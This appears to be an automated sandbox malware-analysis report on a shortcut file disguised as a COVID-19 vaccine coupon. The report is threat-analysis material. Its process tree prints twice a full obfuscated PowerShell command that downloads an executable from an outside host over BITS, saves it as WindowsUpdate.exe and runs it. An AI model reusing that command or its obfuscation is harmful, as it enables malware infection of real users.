a16e466bed46fcf9c0a771ca0e41bc42a1ac13e66717354e4824f61d1695dbb1

Analysis

max time kernel
4294183s
max time network
125s
platform
windows7_x64
resource
win7-20220223-en
submitted
28-02-2022 03:10

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

COVID-19-Vaccine-Coupon/COVID-19-Vaccine-Coupon.lnk
Size

1KB
MD5

5897322f62070e894488b4115463939d
SHA1

217490d9df6b3eb30caec933c6f3a04ae3a3a82f
SHA256

101d9f3a9e4a8d0c8d80bcd40082e10ab71a7d45a04ab443ef8761dfad246ca5
SHA512

83cdc338ce8c7f5bf030ddd654a17b3a7fc6283d9331e5c0eeadc3e4c98aacfb72d51890e9dcb56f4115cd05fba09a0d45a2c751e599c1c45122b86db65f87d1

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

http://1000018.xyz/soft-2/280421-z1z.exe

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid process

592 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 592 powershell.exe

pid	process
592	powershell.exe

description	pid	process
Token: SeDebugPrivilege	592	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

Processes:

cmd.execmd.exe

description	pid	process	target process
PID 1664 wrote to memory of 588	1664	cmd.exe	cmd.exe
PID 1664 wrote to memory of 588	1664	cmd.exe	cmd.exe
PID 1664 wrote to memory of 588	1664	cmd.exe	cmd.exe
PID 588 wrote to memory of 592	588	cmd.exe	powershell.exe
PID 588 wrote to memory of 592	588	cmd.exe	powershell.exe
PID 588 wrote to memory of 592	588	cmd.exe	powershell.exe

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\COVID-19-Vaccine-Coupon\COVID-19-Vaccine-Coupon.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:1664

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" && C:\Windows\System32\cmd.exe /c poweRshELL.eXE -w 1 $env:SEE_MASK_NOZONECHECKS = 1; Im`Po`RT`-modULe bItsTR`Ans`Fer; STArt-b`IT`sT`R`AN`SF`ER -Source "('ht'+'tp'+'://1000'+'018.x'+'yz'+'/so'+'ft-2'+'/28'+'04'+'21-z1z.e'+'xe')" -Destination $ENV:TEMP\WindowsUpdate.exe ;.('cd') ${eNv:TEMP}; ./`WindowsUpdate.exe
2⤵
- Suspicious use of WriteProcessMemory
PID:588

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
poweRshELL.eXE -w 1 $env:SEE_MASK_NOZONECHECKS = 1; Im`Po`RT`-modULe bItsTR`Ans`Fer; STArt-b`IT`sT`R`AN`SF`ER -Source "('ht'+'tp'+'://1000'+'018.x'+'yz'+'/so'+'ft-2'+'/28'+'04'+'21-z1z.e'+'xe')" -Destination $ENV:TEMP\WindowsUpdate.exe ;.('cd') ${eNv:TEMP}; ./`WindowsUpdate.exe
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:592

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/592-56-0x000007FEF3270000-0x000007FEF3DCD000-memory.dmp

Filesize
11.4MB

Download
memory/592-57-0x000007FEF5F1E000-0x000007FEF5F1F000-memory.dmp

Filesize
4KB

Download
memory/592-58-0x00000000027EB000-0x000000000280A000-memory.dmp

Filesize
124KB

Download
memory/592-59-0x00000000027E0000-0x00000000027E2000-memory.dmp

Filesize
8KB

Download
memory/592-60-0x000007FEF5F1E000-0x000007FEF5F1F000-memory.dmp

Filesize
4KB

Download
memory/592-61-0x00000000027E2000-0x00000000027E4000-memory.dmp

Filesize
8KB

Download
memory/592-62-0x00000000027E4000-0x00000000027E7000-memory.dmp

Filesize
12KB

Download
memory/1664-54-0x000007FEFC381000-0x000007FEFC383000-memory.dmp

Filesize
8KB

Download